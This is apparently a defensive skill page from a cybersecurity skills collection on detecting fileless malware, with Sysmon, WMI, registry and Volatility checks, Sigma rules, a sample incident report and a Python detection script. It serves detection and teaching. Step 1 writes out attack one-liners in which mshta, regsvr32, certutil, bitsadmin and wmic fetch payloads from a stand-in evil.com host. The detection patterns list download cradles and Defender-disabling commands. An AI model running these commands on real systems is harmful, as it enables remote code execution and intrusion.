npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
MITRE D3FEND
When to Use
- EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
- Investigating attacks that leave no traditional malware files on disk
- Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
- Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
- Memory forensics reveals malicious code but no corresponding files exist on the filesystem
Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.
Prerequisites
- Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
- PowerShell Script Block Logging and Module Logging enabled
- Volatility 3 for memory forensics of fileless malware artifacts
- Process Monitor (ProcMon) for real-time system activity monitoring
- Windows Event Log access with adequate retention policies
- Autoruns for identifying persistence mechanisms
Workflow
Step 1: Identify LOLBin Usage
Detect abuse of legitimate Windows binaries for malicious purposes:
Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
Abuse: Execute HTA files with embedded VBScript/JScript
Example: mshta http://evil.com/payload.hta
Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
Detect: mshta.exe with URL argument or vbscript: prefix
regsvr32.exe:
Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
Detect: regsvr32.exe with /i: URL parameter
certutil.exe:
Abuse: Download files, decode Base64
Example: certutil -urlcache -split -f http://evil.com/payload.exe
Example: certutil -decode encoded.txt payload.exe
Detect: certutil.exe with -urlcache or -decode arguments
rundll32.exe:
Abuse: Execute DLL functions, JavaScript
Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
Detect: rundll32.exe with javascript: argument
wmic.exe:
Abuse: Execute code via XSL stylesheets
Example: wmic process get brief /format:"http://evil.com/payload.xsl"
Detect: wmic.exe with /format: URL parameter
bitsadmin.exe:
Abuse: Download files via BITS
Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
Detect: bitsadmin.exe with /transfer or /addfile to external URL
cmstp.exe:
Abuse: Execute commands via INF file
Example: cmstp.exe /ni /s payload.inf
Detect: cmstp.exe execution from non-standard locationsStep 2: Detect WMI-Based Persistence
Analyze WMI event subscriptions used for fileless persistence:
# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list
# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding# Parse Sysmon WMI events (Event IDs 19, 20, 21)
import subprocess
import xml.etree.ElementTree as ET
# WMI Event Filter creation (EID 19)
result = subprocess.run(
["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
"/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
capture_output=True, text=True
)
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
if not event_xml.strip():
continue
try:
root = ET.fromstring(event_xml + "</Event>")
eid = root.find(".//e:System/e:EventID", ns).text
data = {}
for d in root.findall(".//e:EventData/e:Data", ns):
data[d.get("Name")] = d.text
if eid == "19":
print(f"[!] WMI Filter Created: {data.get('Name')}")
print(f" Query: {data.get('Query')}")
elif eid == "20":
print(f"[!] WMI Consumer Created: {data.get('Name')}")
print(f" Type: {data.get('Type')}")
print(f" Destination: {data.get('Destination')}")
elif eid == "21":
print(f"[!] WMI Binding Created")
print(f" Consumer: {data.get('Consumer')}")
print(f" Filter: {data.get('Filter')}")
except:
passStep 3: Detect Registry-Resident Payloads
Find malicious code stored in the Windows Registry:
# Common registry locations for fileless payloads
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s
# Check for PowerShell encoded commands in registry values
# Malware stores Base64-encoded payloads in custom registry keys
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul
# Check for large registry values (possible stored payloads)
python3 << 'PYEOF'
import winreg
import base64
suspicious_keys = [
(winreg.HKEY_CURRENT_USER, r"Software"),
(winreg.HKEY_LOCAL_MACHINE, r"Software"),
]
def scan_registry(hive, path, depth=0):
if depth > 3:
return
try:
key = winreg.OpenKey(hive, path)
i = 0
while True:
try:
name, value, vtype = winreg.EnumValue(key, i)
if isinstance(value, str) and len(value) > 500:
# Check for Base64-encoded content
try:
decoded = base64.b64decode(value[:100])
print(f"[!] Large Base64 value: {path}\\{name} ({len(value)} bytes)")
except:
pass
# Check for PowerShell keywords
if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
print(f"[!] PowerShell in registry: {path}\\{name}")
i += 1
except WindowsError:
break
# Recurse into subkeys
j = 0
while True:
try:
subkey = winreg.EnumKey(key, j)
scan_registry(hive, f"{path}\\{subkey}", depth + 1)
j += 1
except WindowsError:
break
except:
pass
for hive, path in suspicious_keys:
scan_registry(hive, path)
PYEOFStep 4: Analyze Memory for Fileless Artifacts
Use memory forensics to find in-memory-only malware:
# Process with injected code (no backing file)
vol3 -f memory.dmp windows.malfind
# Check for .NET assemblies loaded from memory (not from disk files)
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"
# PowerShell CLR usage (indicates .NET reflection loading)
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"
# Scan for known fileless frameworks
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "
rule Fileless_PowerShell {
strings:
\$s1 = \"System.Reflection.Assembly\" ascii wide
\$s2 = \"[System.Convert]::FromBase64String\" ascii wide
\$s3 = \"Invoke-Expression\" ascii wide
\$s4 = \"DownloadString\" ascii wide
condition:
2 of them
}
"
# Extract PowerShell command history from memory
vol3 -f memory.dmp windows.cmdline
strings memory.dmp | grep -i "invoke-\|iex \|downloadstring\|-encodedcommand"Step 5: Build Comprehensive Detection Rules
Create detection content for fileless techniques:
# Sigma rule: LOLBin execution with network activity
title: Suspicious LOLBin Execution with Network Arguments
logsource:
category: process_creation
product: windows
detection:
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http'
- 'vbscript:'
- 'javascript:'
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains: '/i:http'
selection_wmic:
Image|endswith: '\wmic.exe'
CommandLine|contains: '/format:http'
condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high# Sigma rule: WMI persistence creation
title: WMI Event Subscription for Persistence
logsource:
product: windows
service: sysmon
detection:
selection:
EventID:
- 19 # WMI EventFilter
- 20 # WMI EventConsumer
- 21 # WMI FilterConsumerBinding
condition: selection
level: mediumStep 6: Document Fileless Attack Chain
Map the complete fileless attack lifecycle:
Typical Fileless Attack Chain:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Phase 1 - Initial Access:
Email -> Macro -> mshta.exe/PowerShell (LOLBin abuse)
OR Web exploit -> regsvr32/certutil (scriptlet download)
Phase 2 - Execution:
PowerShell downloads and executes script in memory
.NET Assembly.Load() for reflective loading
WMI process creation for lateral movement
Phase 3 - Persistence:
WMI event subscription (survives reboots)
Registry-stored encoded payload (loaded by Run key)
Scheduled task executing inline PowerShell
Phase 4 - Privilege Escalation:
PowerShell with Invoke-Mimikatz (in-memory credential theft)
Named pipe impersonation via WMI
Phase 5 - Lateral Movement:
WMI remote process creation (no file transfer needed)
PowerShell remoting (WinRM)
PsExec via WMI
Phase 6 - Exfiltration:
PowerShell HTTP POST to C2
DNS tunneling via Invoke-DNSExfiltration
Cloud storage API (OneDrive, Google Drive)Key Concepts
| Term | Definition |
|---|---|
| Fileless Malware | Malware operating entirely in memory or within legitimate system tools without creating traditional executable files on disk |
| LOLBins (Living Off the Land Binaries) | Legitimate system binaries (mshta, regsvr32, certutil) abused by attackers to execute malicious code while evading application whitelisting |
| WMI Event Subscription | Windows Management Instrumentation persistence mechanism using event filters, consumers, and bindings to execute code on system events |
| Registry-Resident Payload | Malicious code stored as encoded data in Windows Registry values, loaded and executed by a small stub in a Run key |
| Reflective Loading | Loading .NET assemblies or PE files from byte arrays in memory using Assembly.Load() without writing to disk |
| In-Memory Execution | Running code directly in RAM without creating files, leveraging process injection, reflective loading, or script interpreters |
| Script Block Logging | Windows PowerShell logging feature (Event ID 4104) that captures script content after deobfuscation, essential for fileless threat visibility |
Tools & Systems
- Sysmon: System Monitor providing detailed event logging for process creation, WMI events, registry changes, and network connections
- Autoruns: Sysinternals tool showing all auto-start locations including WMI subscriptions, scheduled tasks, and registry entries
- Volatility: Memory forensics framework for detecting in-memory code, injected processes, and fileless malware artifacts
- Process Monitor: Real-time monitoring of file system, registry, and process activity for observing fileless attack behavior
- LOLBAS Project: Community-documented catalog of LOLBin abuse techniques at https://lolbas-project.github.io/
Common Scenarios
Scenario: Investigating a Fileless Attack Using WMI Persistence
Context: Sysmon alerts show WMI event subscription creation followed by periodic PowerShell execution without any corresponding malware files on disk. The attack persists across reboots.
Approach:
- Query WMI namespace for event filters, consumers, and bindings to identify the persistence mechanism
- Extract the CommandLineEventConsumer or ActiveScriptEventConsumer payload
- Decode the PowerShell command (typically Base64-encoded with -enc flag)
- Trace the PowerShell execution in Script Block Logging (Event ID 4104) for the full deobfuscated payload
- Analyze memory dump for reflectively loaded assemblies and injected code
- Check registry for additional stored payloads referenced by the PowerShell script
- Map the complete attack chain from initial access through persistence and lateral movement
Pitfalls:
- Not having Sysmon WMI event logging enabled (Events 19/20/21) before the incident
- Rebooting the system before capturing a memory dump (destroys in-memory evidence)
- Focusing only on file-based IOCs when the attack is entirely fileless
- Missing the initial access vector because the LOLBin execution left minimal traces
Output Format
FILELESS MALWARE ANALYSIS REPORT
===================================
Incident: INC-2025-2847
Attack Type: Fileless (no malware files on disk)
INITIAL ACCESS
Vector: Phishing email with macro-enabled document
LOLBin Chain: WINWORD.EXE -> mshta.exe -> powershell.exe
PERSISTENCE MECHANISM
Type: WMI Event Subscription
Filter Name: WindowsUpdateCheck
Filter Query: SELECT * FROM __InstanceModificationEvent WITHIN 300
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Consumer: CommandLineEventConsumer
Command: powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
DECODED PAYLOAD
[Layer 1] Base64 UTF-16LE decode
[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload
[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42
REGISTRY PAYLOADS
HKCU\Software\AppDataLow\Config\data = [Base64 encoded .NET assembly, 247KB]
Loaded by: PowerShell WMI consumer script
MEMORY ARTIFACTS
PID 4012 (powershell.exe): Injected .NET assembly at 0x00400000
- CobaltStrike beacon detected via YARA
- C2: hxxps://185.220.101[.]42/updates
EXTRACTED IOCs
C2 IP: 185.220.101[.]42
WMI Filter: WindowsUpdateCheck
Registry Path: HKCU\Software\AppDataLow\Config\data
PowerShell Flags: -nop -w hidden -enc
MITRE ATT&CK
T1059.001 PowerShell
T1546.003 WMI Event Subscription
T1218.005 Mshta
T1112 Modify Registry
T1055.012 Process HollowingReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md2.3 KB
Fileless Malware Detection API Reference
Windows Event IDs for Fileless Detection
| Event ID | Log | Description |
|---|---|---|
| 4104 | PowerShell Operational | Script Block Logging (full script content) |
| 4103 | PowerShell Operational | Module Logging |
| 1 | Sysmon | Process Creation with command line |
| 8 | Sysmon | CreateRemoteThread (injection) |
| 10 | Sysmon | ProcessAccess (injection prep) |
| 19/20/21 | Sysmon | WMI Event Filter/Consumer/Binding |
| 7045 | System | New service installed |
python-evtx - Parse Windows Event Logs
import Evtx.Evtx as evtx
with evtx.Evtx("Security.evtx") as log:
for record in log.records():
xml = record.xml()
if "<EventID>4104</EventID>" in xml:
print(record.timestamp(), xml[:500])Volatility 3 Commands
# Detect injected code (RWX memory, PE headers in non-image VADs)
vol3 -f memory.dmp windows.malfind
# List processes
vol3 -f memory.dmp windows.pslist
# Scan for hidden processes
vol3 -f memory.dmp windows.psscan
# List loaded DLLs
vol3 -f memory.dmp windows.dlllist --pid 1234
# Extract injected code
vol3 -f memory.dmp windows.malfind --dump --pid 1234LOLBins Detection Patterns (Sysmon)
<!-- Sysmon config for LOLBin monitoring -->
<RuleGroup groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="end with">mshta.exe</Image>
<Image condition="end with">regsvr32.exe</Image>
<Image condition="end with">certutil.exe</Image>
<Image condition="end with">wmic.exe</Image>
<Image condition="end with">cmstp.exe</Image>
<Image condition="end with">msbuild.exe</Image>
</ProcessCreate>
</RuleGroup>Suspicious PowerShell Indicators
-enc / -EncodedCommand → Base64-encoded command
IEX / Invoke-Expression → Dynamic code execution
Net.WebClient → Download cradle
DownloadString() → Remote script fetch
Reflection.Assembly → Reflective .NET loading
VirtualAlloc → Shellcode allocation
FromBase64String → Payload decodingWMI Persistence Check
# List WMI event subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBindingScripts 1
agent.py8.5 KB
#!/usr/bin/env python3
"""Fileless malware detection agent using Windows event logs and Volatility."""
import json
import os
import re
import subprocess
import sys
from datetime import datetime
try:
import Evtx.Evtx as evtx
HAS_EVTX = True
except ImportError:
HAS_EVTX = False
LOLBINS = {
"mshta.exe": {"risk": "HIGH", "usage": "Execute HTA with embedded VBScript/JScript"},
"regsvr32.exe": {"risk": "HIGH", "usage": "Proxy execution via COM scriptlets"},
"rundll32.exe": {"risk": "HIGH", "usage": "Execute DLL exports or JavaScript"},
"certutil.exe": {"risk": "HIGH", "usage": "Download files, decode base64 payloads"},
"bitsadmin.exe": {"risk": "MEDIUM", "usage": "Download files via BITS service"},
"wmic.exe": {"risk": "HIGH", "usage": "Remote execution, XSL script processing"},
"cmstp.exe": {"risk": "HIGH", "usage": "UAC bypass, COM object registration"},
"msbuild.exe": {"risk": "HIGH", "usage": "Execute inline C# tasks from XML"},
"installutil.exe": {"risk": "MEDIUM", "usage": "Execute .NET assemblies"},
"regasm.exe": {"risk": "MEDIUM", "usage": "Execute .NET COM assemblies"},
"powershell.exe": {"risk": "CONTEXT", "usage": "Script execution, download cradle"},
"cmd.exe": {"risk": "CONTEXT", "usage": "Command execution, script chaining"},
"wscript.exe": {"risk": "MEDIUM", "usage": "Execute VBScript/JScript files"},
"cscript.exe": {"risk": "MEDIUM", "usage": "Execute VBScript/JScript files"},
}
SUSPICIOUS_PS_PATTERNS = [
(r'-enc\s', "Encoded command execution"),
(r'IEX\s*\(', "Invoke-Expression (download cradle)"),
(r'Invoke-Expression', "Invoke-Expression"),
(r'Net\.WebClient', "WebClient download"),
(r'DownloadString\(', "Remote script download"),
(r'DownloadFile\(', "File download"),
(r'FromBase64String', "Base64 decoding"),
(r'Reflection\.Assembly', ".NET reflection loading"),
(r'\[System\.Convert\]', "Type conversion (possible decode)"),
(r'New-Object\s+IO\.MemoryStream', "In-memory stream (reflective load)"),
(r'VirtualAlloc', "Memory allocation (shellcode)"),
(r'CreateThread', "Thread creation (injection)"),
(r'Add-MpPreference.*ExclusionPath', "Defender exclusion modification"),
(r'Set-MpPreference.*DisableRealtimeMonitoring', "Defender disablement"),
]
def scan_powershell_logs(log_dir=None):
"""Scan PowerShell script block logs for suspicious patterns."""
if not log_dir:
log_dir = r"C:\Windows\System32\winevt\Logs"
ps_log = os.path.join(log_dir, "Microsoft-Windows-PowerShell%4Operational.evtx")
if not os.path.exists(ps_log) or not HAS_EVTX:
return {"error": "PowerShell log not found or python-evtx not installed"}
alerts = []
with evtx.Evtx(ps_log) as log:
for record in log.records():
try:
xml = record.xml()
if "<EventID>4104</EventID>" not in xml:
continue
for pattern, desc in SUSPICIOUS_PS_PATTERNS:
if re.search(pattern, xml, re.IGNORECASE):
alerts.append({
"event_id": 4104,
"timestamp": record.timestamp().isoformat(),
"detection": desc,
"snippet": xml[:500],
})
break
except Exception:
continue
return {"log_file": ps_log, "suspicious_events": len(alerts), "alerts": alerts[:50]}
def scan_sysmon_for_lolbins(log_dir=None):
"""Scan Sysmon logs for LOLBin process creation events."""
if not log_dir:
log_dir = r"C:\Windows\System32\winevt\Logs"
sysmon_log = os.path.join(log_dir, "Microsoft-Windows-Sysmon%4Operational.evtx")
if not os.path.exists(sysmon_log) or not HAS_EVTX:
return {"error": "Sysmon log not found or python-evtx not installed"}
detections = []
with evtx.Evtx(sysmon_log) as log:
for record in log.records():
try:
xml = record.xml()
if "<EventID>1</EventID>" not in xml:
continue
for lolbin, info in LOLBINS.items():
if lolbin.lower() in xml.lower():
detections.append({
"timestamp": record.timestamp().isoformat(),
"lolbin": lolbin,
"risk": info["risk"],
"known_abuse": info["usage"],
"snippet": xml[:500],
})
break
except Exception:
continue
return {"log_file": sysmon_log, "lolbin_detections": len(detections), "detections": detections[:50]}
def scan_wmi_persistence():
"""Detect WMI event subscription persistence mechanisms."""
cmd = [
"powershell", "-Command",
"Get-WMIObject -Namespace root\\Subscription -Class __EventFilter | "
"Select-Object Name, Query | ConvertTo-Json"
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=15)
if result.returncode == 0 and result.stdout.strip():
filters = json.loads(result.stdout)
if not isinstance(filters, list):
filters = [filters]
return {"wmi_event_filters": filters, "count": len(filters)}
return {"wmi_event_filters": [], "count": 0}
except Exception as e:
return {"error": str(e)}
def scan_registry_run_keys():
"""Check registry Run keys for suspicious persistence entries."""
keys_to_check = [
r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
]
results = []
for key in keys_to_check:
cmd = ["reg", "query", key]
try:
r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
if r.returncode == 0:
for line in r.stdout.strip().splitlines():
line = line.strip()
if line and not line.startswith("HKEY"):
for lolbin in LOLBINS:
if lolbin.lower() in line.lower():
results.append({
"key": key,
"entry": line,
"lolbin_detected": lolbin,
"risk": "HIGH",
})
except Exception:
continue
return {"registry_persistence": results, "count": len(results)}
def run_volatility_malfind(memory_dump):
"""Run Volatility malfind to detect injected code in memory."""
if not os.path.exists(memory_dump):
return {"error": f"Memory dump not found: {memory_dump}"}
cmd = ["vol3", "-f", memory_dump, "windows.malfind"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
return {"output": result.stdout.strip(), "exit_code": result.returncode}
except FileNotFoundError:
return {"error": "Volatility 3 (vol3) not installed"}
except subprocess.TimeoutExpired:
return {"error": "Volatility analysis timed out"}
def generate_report():
"""Generate fileless malware detection report."""
return {
"timestamp": datetime.utcnow().isoformat() + "Z",
"powershell_scan": scan_powershell_logs(),
"lolbin_scan": scan_sysmon_for_lolbins(),
"wmi_persistence": scan_wmi_persistence(),
"registry_persistence": scan_registry_run_keys(),
}
if __name__ == "__main__":
action = sys.argv[1] if len(sys.argv) > 1 else "report"
if action == "report":
print(json.dumps(generate_report(), indent=2, default=str))
elif action == "powershell":
log_dir = sys.argv[2] if len(sys.argv) > 2 else None
print(json.dumps(scan_powershell_logs(log_dir), indent=2, default=str))
elif action == "lolbins":
print(json.dumps(scan_sysmon_for_lolbins(), indent=2, default=str))
elif action == "wmi":
print(json.dumps(scan_wmi_persistence(), indent=2))
elif action == "registry":
print(json.dumps(scan_registry_run_keys(), indent=2))
elif action == "malfind" and len(sys.argv) > 2:
print(json.dumps(run_volatility_malfind(sys.argv[2]), indent=2))
else:
print("Usage: agent.py [report|powershell [log_dir]|lolbins|wmi|registry|malfind <memory.dmp>]")